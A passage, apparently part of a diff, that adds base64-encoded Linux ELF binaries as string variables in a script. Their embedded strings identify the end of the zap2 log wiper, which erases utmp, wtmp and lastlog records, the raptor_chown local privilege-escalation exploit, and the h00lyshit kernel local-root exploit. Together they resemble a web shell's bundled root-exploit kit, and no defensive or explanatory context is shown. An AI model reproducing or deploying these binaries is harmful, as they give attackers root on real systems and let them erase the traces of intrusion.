+8f95AQAAkIgECEgAAAASAAwAiQEAAMyaBAgAAAAAEADx/5UBAAAaiAQIcwAAABIADACaAQAAAAAA +ANUAAAASAAAAtwEAAKSZBAgAAAAAEALx/8gBAACkmQQIAAAAACAADwDTAQAAAAAAACkAAAASAAAA +5QEAAECJBAgAAAAAEgANAOsBAAAAAAAAPAAAABIAAAD8AQAApJkECAAAAAAQAvH/EAIAAAAAAAB8 +AAAAEgAAACACAAAAAAAAMAAAABIAAAAxAgAAAAAAAP8AAAASAAAARQIAAMyaBAgAAAAAEADx/0wC +AACQmgQIAAAAABEAFQBiAgAA1JoECAAAAAAQAPH/ZwIAAKSZBAgAAAAAEALx/3oCAABgiQQIBAAA +ABEADgCJAgAAAYYECEwBAAASAAwAkwIAAKSZBAgAAAAAEAAPAKACAAAAAAAAAAAAACAAAAC0AgAA +pJkECAAAAAAQAvH/ygIAAAAAAAB8AAAAEgAAANoCAABNhwQIzQAAABIADADnAgAAAAAAAAAAAAAg +AAAAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1Rf +XwBfX0pDUl9MSVNUX18AcC4wAGNvbXBsZXRlZC4xAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFt +ZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5E +X18AX19kb19nbG9iYWxfY3RvcnNfYXV4AHphcDIuYwBfRFlOQU1JQwBmAHdyaXRlQEBHTElCQ18y +LjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAX19maW5pX2FycmF5X2VuZABraWxsX3V0bXAAX19k +c29faGFuZGxlAF9fbGliY19jc3VfZmluaQBfaW5pdABfc3RhcnQAc3RybGVuQEBHTElCQ18yLjAA +c3RybmNtcEBAR0xJQkNfMi4wAF9fZmluaV9hcnJheV9zdGFydABfX2xpYmNfY3N1X2luaXQAX19i +c3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9faW5pdF9hcnJheV9l +bmQAZGF0YV9zdGFydABwcmludGZAQEdMSUJDXzIuMABfZmluaQBsc2Vla0BAR0xJQkNfMi4wAF9f +cHJlaW5pdF9hcnJheV9lbmQAb3BlbkBAR0xJQkNfMi4wAGJ6ZXJvQEBHTElCQ18yLjAAZ2V0cHdu +YW1AQEdMSUJDXzIuMABfZWRhdGEAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9lbmQAX19pbml0X2Fy +cmF5X3N0YXJ0AF9JT19zdGRpbl91c2VkAGtpbGxfd3RtcABfX2RhdGFfc3RhcnQAX0p2X1JlZ2lz +dGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAcmVhZEBAR0xJQkNfMi4wAGtpbGxfbGFz +dGxvZwBfX2dtb25fc3RhcnRfXwA="; + +$raptorchown="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIQECDQAAACYCgAAAAAAADQAIAAHACgAGwAYAAYAAAA0 +AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEA +AAABAAAAAAAAAACABAgAgAQIAAgAAAAIAAAFAAAAABAAAAEAAAAACAAAAJgECACYBAggAQAAKAEA +AAYAAAAAEAAAAgAAABAIAAAQmAQIEJgECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQI +IAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1s +aW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAAAMAAAANAAAADAAAAAkA +AAALAAAAAAAAAAAAAAABAAAAAAAAAAMAAAAAAAAAAgAAAAQAAAAHAAAACAAAAAUAAAAKAAAABgAA +AAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAOAAAAASAAAAGAAAAAAAAADJAQAAEgAAACYAAAAAAAAA +FAAAABIAAAA9AAAAAAAAADQAAAASAAAAHwAAAAAAAABmAAAAEgAAADYAAAAgmQQIBAAAABEAFgBi +AAAAAAAAANUAAAASAAAAEQAAAAAAAABDAAAAEgAAAE4AAAAAAAAAywAAABIAAABTAAAABIcECAQA +AAARAA4ALgAAAAAAAAAkAAAAEgAAAHQAAAAAAAAAAAAAACAAAAAAbGliYy5zby42AGNob3duAGdl +dGdpZABwZXJyb3IAc3lzdGVtAGZwcmludGYAc3ByaW50ZgBzdGRlcnIAX19lcnJub19sb2NhdGlv +bgBleGl0AF9JT19zdGRpbl91c2VkAF9fbGliY19zdGFydF9tYWluAF9fZ21vbl9zdGFydF9fAEdM +SUJDXzIuMABHTElCQ18yLjEAAAAAAgADAAMAAwADAAMAAwADAAMAAQADAAAAAAABAAIAAQAAABAA +AAAAAAAAEGlpDQAAAwCDAAAAEAAAABFpaQ0AAAIAjQAAAAAAAAAcmQQIBgwAACCZBAgFBgAA+JgE +CAcBAAD8mAQIBwIAAACZBAgHAwAABJkECAcEAAAImQQIBwUAAAyZBAgHBwAAEJkECAcIAAAUmQQI +BwkAABiZBAgHCwAAVYnlg+wI6NEAAADoLAEAAOjzAgAAycMA/zXwmAQI/yX0mAQIAAAAAP8l+JgE +CGgAAAAA6eD/////JfyYBAhoCAAAAOnQ/////yUAmQQIaBAAAADpwP////8lBJkECGgYAAAA6bD/ +////JQiZBAhoIAAAAOmg/////yUMmQQIaCgAAADpkP////8lEJkECGgwAAAA6YD/////JRSZBAho +OAAAAOlw/////yUYmQQIaEAAAADpYP///zHtXonhg+TwUFRSaGCGBAhoGIYECFFWaASFBAjon/// +//SQkFWJ5VPoAAAAAFuBw2sUAABQi4MwAAAAhcB0Av/Qi138ycOQkFWJ5YPsCIA9JJkECAB1KaEI +mAQIixCF0nQXifaDwASjCJgECP/SoQiYBAiLEIXSdevGBSSZBAgBycOJ9lWJ5YPsCKHomAQIhcB0 +GbgAAAAAhcB0EIPsDGjomAQI6AN7+/eDxBDJw5CQVYnlgewIAQAAg+TwuAAAAAApxGgghwQIaGCH +BAhomYcECP81IJkECOiz/v//g8QQg30IAnQlg+wEi0UM/zBooYcECP81IJkECOiS/v//g8QQg+wM +agHo1f7//4PsBIPsDOi6/v//g8QMUGr/i0UMg8AE/zDoR/7//4PEEIXAeUDoa/7//4sAg/gBdALr +GIPsCGi3hwQI/zUgmQQI6D/+//+DxBDrEIPsDGjPhwQI6B3+//+DxBCD7AxqAehw/v//g+wIaNWH +BAj/NSCZBAjoDf7//4PEEIPsBItFDIPABP8waPKHBAiNhfj+//9Q6E7+//+DxBCD7AyNhfj+//9Q +6Pz9//+DxBCD7AxqAOgf/v//kJCQVYnlV1ZTg+wM6AAAAABbgcPGEgAA6Gr9//+NkxT///+NixT/ +//8pyjH2wfoCOdZzD4nXkP+UsxT///9GOf5y9IPEDFteX8nDVYnlVlPoAAAAAFuBw4ISAACNixT/ +//+NgxT///8pwcH5AoXJjXH/dQvoOgAAAFteycOJ9v+UsxT///+J8k6F0nXy6+VVieVTUqHYmAQI +g/j/u9iYBAh0DIPrBP/QiwOD+P919FhbycNVieVT6AAAAABbgcMbEgAAUui+/f//i138ycMAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +Q29weXJpZ2h0IChjKSAyMDA0IE1hcmNvIEl2YWxkaSA8cmFwdG9yQDB4ZGVhZGJlZWYuaW5mbz4A +AAAAAAAAAHJhcHRvcl9jaG93bi5jIC0gc3lzX2Nob3duIG1pc3NpbmcgREFDIGNvbnRyb2xzIG9u +IExpbnV4ACVzCiVzCgoAdXNhZ2U6ICVzIGZpbGVfbmFtZQoKAEVycm9yOiBOb3QgdnVsbmVyYWJs +ZSEKAEVycm9yAE5pbnBvdTogc3lzX2Nob3duIG5vIGp1dHN1IQoAL2Jpbi9scyAtbCAlcwAAAAAA +AAAAAOSYBAgAAAAAAQAAAAEAAAAMAAAAnIMECA0AAADIhgQIBAAAAEiBBAgFAAAAYIIECAYAAACQ +gQQICgAAAJcAAAALAAAAEAAAABUAAAAAAAAAAwAAAOyYBAgCAAAASAAAABQAAAARAAAAFwAAAFSD +BAgRAAAARIMECBIAAAAQAAAAEwAAAAgAAAD+//9vFIMECP///28BAAAA8P//b/iCBAgAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA +AAAAABCYBAgAAAAAAAAAAMqDBAjagwQI6oMECPqDBAgKhAQIGoQECCqEBAg6hAQISoQECAAAAAAA +R0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdDQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABH +Q0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAAR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdD +QzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABHQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAALnN5 +bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALmhhc2gALmR5bnN5 +bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAu +aW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5kYXRhAC5laF9mcmFtZQAuZHluYW1pYwAuY3RvcnMA +LmR0b3JzAC5qY3IALmdvdAAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAABsAAAABAAAAAgAAABSBBAgUAQAAEwAAAAAAAAAAAAAAAQAAAAAAAAAj +AAAABwAAAAIAAAAogQQIKAEAACAAAAAAAAAAAAAAAAQAAAAAAAAAMQAAAAUAAAACAAAASIEECEgB +AABIAAAABAAAAAAAAAAEAAAABAAAADcAAAALAAAAAgAAAJCBBAiQAQAA0AAAAAUAAAABAAAABAAA +ABAAAAA/AAAAAwAAAAIAAABgggQIYAIAAJcAAAAAAAAAAAAAAAEAAAAAAAAARwAAAP///28CAAAA ++IIECPgCAAAaAAAABAAAAAAAAAACAAAAAgAAAFQAAAD+//9vAgAAABSDBAgUAwAAMAAAAAUAAAAB +AAAABAAAAAAAAABjAAAACQAAAAIAAABEgwQIRAMAABAAAAAEAAAAAAAAAAQAAAAIAAAAbAAAAAkA +AAACAAAAVIMECFQDAABIAAAABAAAAAsAAAAEAAAACAAAAHUAAAABAAAABgAAAJyDBAicAwAAFwAA +AAAAAAAAAAAABAAAAAAAAABwAAAAAQAAAAYAAAC0gwQItAMAAKAAAAAAAAAAAAAAAAQAAAAEAAAA +ewAAAAEAAAAGAAAAVIQECFQEAAB0AgAAAAAAAAAAAAAEAAAAAAAAAIEAAAABAAAABgAAAMiGBAjI +BgAAGwAAAAAAAAAAAAAABAAAAAAAAACHAAAAAQAAAAIAAAAAhwQIAAcAAAABAAAAAAAAAAAAACAA +AAAAAAAAjwAAAAEAAAADAAAAAJgECAAIAAAMAAAAAAAAAAAAAAAEAAAAAAAAAJUAAAABAAAAAgAA +AAyYBAgMCAAABAAAAAAAAAAAAAAABAAAAAAAAACfAAAABgAAAAMAAAAQmAQIEAgAAMgAAAAFAAAA +AAAAAAQAAAAIAAAAqAAAAAEAAAADAAAA2JgECNgIAAAIAAAAAAAAAAAAAAAEAAAAAAAAAK8AAAAB +AAAAAwAAAOCYBAjgCAAACAAAAAAAAAAAAAAABAAAAAAAAAC2AAAAAQAAAAMAAADomAQI6AgAAAQA +AAAAAAAAAAAAAAQAAAAAAAAAuwAAAAEAAAADAAAA7JgECOwIAAA0AAAAAAAAAAAAAAAEAAAABAAA +AMAAAAAIAAAAAwAAACCZBAggCQAACAAAAAAAAAAAAAAABAAAAAAAAADFAAAAAQAAAAAAAAAAAAAA +IAkAAKgAAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAMgJAADOAAAAAAAAAAAAAAAB +AAAAAAAAAAEAAAACAAAAAAAAAAAAAADQDgAA0AQAABoAAAArAAAABAAAABAAAAAJAAAAAwAAAAAA +AAAAAAAAoBMAANcCAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgQQIAAAA +AAMAAQAAAAAAKIEECAAAAAADAAIAAAAAAEiBBAgAAAAAAwADAAAAAACQgQQIAAAAAAMABAAAAAAA +YIIECAAAAAADAAUAAAAAAPiCBAgAAAAAAwAGAAAAAAAUgwQIAAAAAAMABwAAAAAARIMECAAAAAAD +AAgAAAAAAFSDBAgAAAAAAwAJAAAAAACcgwQIAAAAAAMACgAAAAAAtIMECAAAAAADAAsAAAAAAFSE +BAgAAAAAAwAMAAAAAADIhgQIAAAAAAMADQAAAAAAAIcECAAAAAADAA4AAAAAAACYBAgAAAAAAwAP +AAAAAAAMmAQIAAAAAAMAEAAAAAAAEJgECAAAAAADABEAAAAAANiYBAgAAAAAAwASAAAAAADgmAQI +AAAAAAMAEwAAAAAA6JgECAAAAAADABQAAAAAAOyYBAgAAAAAAwAVAAAAAAAgmQQIAAAAAAMAFgAA +AAAAAAAAAAAAAAADABcAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAA +AAADABoAAQAAAHiEBAgAAAAAAgAMABEAAAAAAAAAAAAAAAQA8f8cAAAA2JgECAAAAAABABIAKgAA +AOCYBAgAAAAAAQATADgAAADomAQIAAAAAAEAFABFAAAACJgECAAAAAABAA8ASQAAACSZBAgBAAAA +AQAWAFUAAACchAQIAAAAAAIADABrAAAA2IQECAAAAAACAAwAEQAAAAAAAAAAAAAABADx/3cAAADc +mAQIAAAAAAEAEgCEAAAA5JgECAAAAAABABMAkQAAAAyYBAgAAAAAAQAQAJ8AAADomAQIAAAAAAEA +FACrAAAApIYECAAAAAACAAwAwQAAAAAAAAAAAAAABADx/9AAAAAAAAAA4AAAABIAAADhAAAAEJgE +CAAAAAARABEA6gAAAACHBAgEAAAAEQAOAPEAAAAAAAAAyQEAABIAAAADAQAAAAAAABQAAAASAAAA +FgEAAACYBAgAAAAAEALx/ycBAAAEmAQIAAAAABECDwA0AQAAYIYECEQAAAASAAwARAEAAAAAAAA0 +AAAAEgAAAGABAAAAAAAAZgAAABIAAAByAQAAnIMECAAAAAASAAoAeAEAACCZBAgEAAAAEQAWAIoB +AABUhAQIAAAAABIADACRAQAAAJgECAAAAAAQAvH/pAEAABiGBAhIAAAAEgAMALQBAAAgmQQIAAAA +ABAA8f/AAQAABIUECBEBAAASAAwAxQEAAAAAAADVAAAAEgAAAOIBAAAAmAQIAAAAABAC8f/zAQAA +AJgECAAAAAAgAA8A/gEAAMiGBAgAAAAAEgANAAQCAAAAAAAAQwAAABIAAAAWAgAAAJgECAAAAAAQ +AvH/KgIAAAAAAADLAAAAEgAAADoCAAAgmQQIAAAAABAA8f9BAgAA7JgECAAAAAARABUAVwIAACiZ +BAgAAAAAEADx/1wCAAAAmAQIAAAAABAC8f9vAgAABIcECAQAAAARAA4AfgIAAAAAAAAkAAAAEgAA +AJECAAAAmAQIAAAAABAADwCeAgAAAAAAAAAAAAAgAAAAsgIAAACYBAgAAAAAEALx/8gCAAAAAAAA +AAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1Jf +TElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4 +AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pD +Ul9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAcmFwdG9yX2Nob3duLmMAY2hvd25AQEdMSUJD +XzIuMQBfRFlOQU1JQwBfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZnByaW50ZkBAR0xJQkNfMi4w +AF9fZmluaV9hcnJheV9lbmQAX19kc29faGFuZGxlAF9fbGliY19jc3VfZmluaQBfX2Vycm5vX2xv +Y2F0aW9uQEBHTElCQ18yLjAAc3lzdGVtQEBHTElCQ18yLjAAX2luaXQAc3RkZXJyQEBHTElCQ18y +LjAAX3N0YXJ0AF9fZmluaV9hcnJheV9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQA +bWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9faW5pdF9hcnJheV9lbmQAZGF0YV9z +dGFydABfZmluaQBnZXRnaWRAQEdMSUJDXzIuMABfX3ByZWluaXRfYXJyYXlfZW5kAGV4aXRAQEdM +SUJDXzIuMABfZWRhdGEAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9lbmQAX19pbml0X2FycmF5X3N0 +YXJ0AF9JT19zdGRpbl91c2VkAHNwcmludGZAQEdMSUJDXzIuMABfX2RhdGFfc3RhcnQAX0p2X1Jl +Z2lzdGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A"; + +$h00lyshit="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAgIcECDQAAADYEgAAAAAAADQAIAAHACgAGwAYAAYAAAA0 +AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEA +AAABAAAAAAAAAACABAgAgAQIbg4AAG4OAAAFAAAAABAAAAEAAAAAEAAAAJAECACQBAhYAQAAxAgA +AAYAAAAAEAAAAgAAABAQAAAQkAQIEJAECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQI +IAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1s +aW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAdAAAADgAAAAAA +AAAaAAAAAAAAAAkAAAARAAAAAQAAABAAAAATAAAAAwAAABsAAAALAAAAAAAAABkAAAAPAAAAHAAA +AAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAA +AAAAAAcAAAAAAAAAAAAAAAAAAAAKAAAACAAAAAwAAAASAAAADQAAABYAAAAXAAAAGAAAABQAAAAV +AAAABgAAAAAAAAAAAAAAAAAAAAAAAAAhAAAAAAAAAAgAAAASAAAAYgAAAAAAAABGAAAAEgAAADUA +AAAAAAAAyQEAABIAAABdAAAAAAAAAFAAAAASAAAAPAAAAAAAAAC+AAAAEgAAAEMAAAAAAAAANgAA +ABIAAAAaAAAAAAAAAFcAAAASAAAASAAAAAAAAAA6AAAAEgAAACgAAAAAAAAASAAAABIAAAC2AAAA +AAAAAC4AAAASAAAAEwAAAGCRBAgEAAAAEQAWAIQAAABkkQQIBAAAABEAFgALAAAAAAAAAHwAAAAS +AAAAwgAAAAAAAAAhAQAAEgAAAHAAAAAAAAAAeQAAABIAAACfAAAAAAAAANUAAAASAAAATgAAAAAA +AAAnAAAAEgAAAH0AAAAAAAAAKQAAABIAAAAuAAAAAAAAADcAAAASAAAANgAAAHuIBAgvAAAAEgAM +ALEAAAAAAAAAfAAAABIAAACLAAAAAAAAAMsAAAASAAAAdQAAAAAAAADJAAAAEgAAAGkAAAAAAAAA +QwAAABIAAACQAAAA6I0ECAQAAAARAA4AVQAAAAAAAAA8AAAAEgAAAHwAAAAAAAAAJAAAABIAAADL +AAAAAAAAAAAAAAAgAAAAAGxpYmMuc28uNgB3YWl0cGlkAHN0ZG91dABleGVjdmUAZ2V0cGlkAHBy +Y3RsAG1lbWNweQBwZXJyb3IAZmZsdXNoAG1tYXAAY2htb2QAc3RyY2F0AG1hZHZpc2UAZm9yawBz +dHJkdXAAbWVtc2V0AG5pY2UAZ2V0Y3dkAHNwcmludGYAc3RkZXJyAGV4aXQAX0lPX3N0ZGluX3Vz +ZWQAX19saWJjX3N0YXJ0X21haW4Ab3BlbgBzY2hlZF95aWVsZABfX2Z4c3RhdABfX2dtb25fc3Rh +cnRfXwBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEA +AgACAAIAAgABAAIAAgAAAAAAAQABAAEAAAAQAAAAAAAAABBpaQ0AAAIA2gAAAAAAAABUkQQIBhwA +AGCRBAgFCwAAZJEECAUMAAD4kAQIBwEAAPyQBAgHAgAAAJEECAcDAAAEkQQIBwQAAAiRBAgHBQAA +DJEECAcGAAAQkQQIBwcAABSRBAgHCAAAGJEECAcJAAAckQQIBwoAACCRBAgHDQAAJJEECAcOAAAo +kQQIBw8AACyRBAgHEAAAMJEECAcRAAA0kQQIBxIAADiRBAgHEwAAPJEECAcVAABAkQQIBxYAAESR +BAgHFwAASJEECAcYAABMkQQIBxoAAFCRBAgHGwAAVYnlg+wI6LEBAADoDAIAAOinBwAAycMA/zXw +kAQI/yX0kAQIAAAAAP8l+JAECGgAAAAA6eD/////JfyQBAhoCAAAAOnQ/////yUAkQQIaBAAAADp +wP////8lBJEECGgYAAAA6bD/////JQiRBAhoIAAAAOmg/////yUMkQQIaCgAAADpkP////8lEJEE +CGgwAAAA6YD/////JRSRBAhoOAAAAOlw/////yUYkQQIaEAAAADpYP////8lHJEECGhIAAAA6VD/ +////JSCRBAhoUAAAAOlA/////yUkkQQIaFgAAADpMP////8lKJEECGhgAAAA6SD/////JSyRBAho +aAAAAOkQ/////yUwkQQIaHAAAADpAP////8lNJEECGh4AAAA6fD+////JTiRBAhogAAAAOng/v// +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 +ZTogYmluYXJ5IDxiaWcgZmlsZSBuYW1lPgAKcHJlcGFyaW5nAC8AZXhlY3ZlAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +5JAECAAAAAABAAAAAQAAAAwAAADohQQIDQAAAMiNBAgEAAAASIEECAUAAADYgwQIBgAAAAiCBAgK +AAAA5AAAAAsAAAAQAAAAFQAAAAAAAAADAAAA7JAECAIAAAC4AAAAFAAAABEAAAAXAAAAMIUECBEA +AAAYhQQIEgAAABgAAAATAAAACAAAAP7//2/4hAQI////bwEAAADw//9vvIQECAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAA +EJAECAAAAAAAAAAAFoYECCaGBAg2hgQIRoYECFaGBAhmhgQIdoYECIaGBAiWhgQIpoYECLaGBAjG +hgQI1oYECOaGBAj2hgQIBocECBaHBAgmhwQINocECEaHBAhWhwQIZocECHaHBAgAAAAAAAAAAAAA +AAAAR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdDQzogKEdOVSkgMy4zLjMgKHJlbGVhc2Up +AABHQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAAR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkA +AEdDQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABHQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAA +LnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALmhhc2gALmR5 +bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBs +dAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5kYXRhAC5laF9mcmFtZQAuZHluYW1pYwAuY3Rv +cnMALmR0b3JzAC5qY3IALmdvdAAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAABsAAAABAAAAAgAAABSBBAgUAQAAEwAAAAAAAAAAAAAAAQAAAAAA 